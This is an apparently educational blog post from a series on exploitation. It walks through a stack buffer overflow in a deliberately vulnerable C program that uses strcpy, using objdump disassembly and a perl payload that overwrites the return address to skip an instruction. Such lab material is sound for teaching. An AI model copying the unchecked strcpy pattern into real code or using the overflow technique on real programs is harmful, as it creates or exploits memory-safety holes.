Short-circuiting an instruction

(This is part of my series on program vulnerability exploitation.)

Still not quite arbitrary code execution, but almost there! The program to be exploited is as follows:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void vuln(char *s)
{
    char buffer[50];
    strcpy(buffer, s);
}

int main(int argc, char **argv)
{
    if (argc == 1) {
        fprintf(stderr, "Enter a string!\n");
        exit(EXIT_FAILURE);
    }
    int n = 0;
    vuln(argv[1]);
    n++;
    if (n != 0) {
        printf("Fail.\n");
        exit(EXIT_FAILURE);
    }
    printf("Win!\n");
}

Our goal is to modify the return address of vuln() so that instead of executing the next instruction (incrementing n), it will jump directly to the equality test. Thus when n is tested it will still equal zero and we will win.

objdump can tell us everything we need, so we will not use gdb here, but of course now you know how it works so feel free to use it if you want. The parts that interest us are the code of vuln(), so that we can find out how its stack frame is organised and how many bytes we need to write into buffer before reaching the return address, and also the code of main() to find out the address of the instruction we want to jump to.

First, the code of vuln():

$ gcc -m32 -O0 -std=c99 -fno-stack-protector -pedantic -Wall -Wextra -o vuln2 vuln2.c      
$ objdump -d vuln2 | nl
[...]
   121  08048494 <vuln>:
   122   8048494:       55                      push   ebp
   123   8048495:       89 e5                   mov    ebp,esp
   124   8048497:       83 ec 58                sub    esp,0x58
   125   804849a:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
   126   804849d:       89 44 24 04             mov    DWORD PTR [esp+0x4],eax
   127   80484a1:       8d 45 c6                lea    eax,[ebp-0x3a]
   128   80484a4:       89 04 24                mov    DWORD PTR [esp],eax
   129   80484a7:       e8 e4 fe ff ff          call   8048390 <strcpy@plt>
   130   80484ac:       c9                      leave  
   131   80484ad:       c3                      ret  
[...]

So buffer is at ebp-0x3a (as in the previous post, we see it because it is the first argument to strcpy()). 0x3a is 58 in decimal, so we need to write 58 bytes before we reach ebp, and then 4 more bytes before we reach the return address, so 62 in total.

Now the code of main() (starting from the call to vuln()):

[...]
   157   8048504:       e8 8b ff ff ff          call   8048494 <vuln>
   158   8048509:       83 44 24 1c 01          add    DWORD PTR [esp+0x1c],0x1
   159   804850e:       83 7c 24 1c 00          cmp    DWORD PTR [esp+0x1c],0x0
   160   8048513:       74 18                   je     804852d <main+0x7f>
   161   8048515:       c7 04 24 21 86 04 08    mov    DWORD PTR [esp],0x8048621
   162   804851c:       e8 7f fe ff ff          call   80483a0 <puts@plt>
   163   8048521:       c7 04 24 01 00 00 00    mov    DWORD PTR [esp],0x1
   164   8048528:       e8 93 fe ff ff          call   80483c0 <exit@plt>
   165   804852d:       c7 04 24 27 86 04 08    mov    DWORD PTR [esp],0x8048627
   166   8048534:       e8 67 fe ff ff          call   80483a0 <puts@plt>
   167   8048539:       b8 00 00 00 00          mov    eax,0x0
   168   804853e:       c9                      leave  
   169   804853f:       c3                      ret    
[...]

We see right after the call to vuln() the instruction add which increments n and the instruction cmp which compares it to 0. We want to jump to the instruction cmp, its address is 0x0804850e, so finally we do:

$ ./vuln2 $(perl -e 'print "1"x62 . "\x0e\x85\x04\x08"')
Win!
Segmentation fault

The program segfaults because in addition to the return address, we have also overwritten the saved value of ebp. In general, this will not be a problem as long as our code is executed, so we consider that we have won.

Leave a Reply

Your email address will not be published. Required fields are marked *